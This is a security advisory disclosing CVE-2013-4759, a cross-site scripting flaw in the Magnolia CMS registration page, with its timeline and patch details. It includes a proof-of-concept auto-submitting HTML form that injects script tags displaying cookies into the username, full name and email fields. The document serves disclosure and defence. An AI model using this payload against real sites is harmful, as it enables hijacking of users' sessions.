Magnolia CMS 5.0.1 Community Edition Cross Site Scripting

Vendor: Magnolia International Ltd
Vulnerable Version(s): 4.5.7, 4.5.8, 4.5.9, 5.0 and 5.0.1 Community Edition
Tested Version:  5.0 Community Edition
Vendor Notification: July 3, 2013 
Vendor Patch: July 18, 2013 
Public Disclosure: July 24, 2013 
Vulnerability Type: Cross-Site Scripting [CWE-79]
CVE Reference: CVE-2013-4759
Risk Level: Medium 
CVSSv2 Base Score: 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered XSS vulnerability in Magnolia CMS, which can be exploited to perform Cross-Site Scripting attacks against users of vulnerable application.


1) Cross-Site Scripting (XSS) in Magnolia CMS: CVE-2013-4759

The vulnerability exists due to insufficient sanitisation of user-supplied data in "username", "fullname" and "email" HTTP POST parameters passed to "/magnoliaPublic/demo-project/members-area/registration.html" URL.

A remote attacker can trick victim to open a specially crafted link and execute arbitrary HTML and scripting code in his browser in context of the vulnerable website.

The exploitation example below uses the "alert()" JavaScript function to display user's cookies:


<form action="http://[host]/magnoliaPublic/demo-project/members-area/registration.html" method="post" name="main">
<input type="hidden" name="mgnlModelExecutionUUID"  value="8417fe0e-8f61-4d21-bdf1-c9c23b13ba14">
<input type="hidden" name="password"  value='password'>
<input type="hidden" name="passwordConfirmation"  value='password'>
<input type="hidden" name="username"  value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="fullName"  value='"><script>alert(document.cookie);</script>'>
<input type="hidden" name="email"  value='"><script>alert(document.cookie);</script>'>
<input type="submit" id="btn">
</form>
<script>
document.main.submit();
</script>


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Solution:

The vulnerability and fix are described in the MGNLFORM-183 issue (1). 

The hot fix for the vulnerability have been distributed to all clients and fix has been also made publicly available in Magnolia Form module version 1.4.7 (for Magnolia 4.5.x branch) and 2.0.2 (for Magnolia 5.x branch). Anyone using affected version of Magnolia can download and update their installation of Magnolia with above mentioned version of Form module from (2) and (3) respectively:

(1) http://jira.magnolia-cms.com/browse/MGNLFORM-183
(2) http://nexus.magnolia-cms.com/content/repositories/magnolia.public.releases/info/magnolia/magnolia-module-form/1.4.7/
(3) http://nexus.magnolia-cms.com/content/repositories/magnolia.public.releases/info/magnolia/magnolia-module-form/2.0.2/

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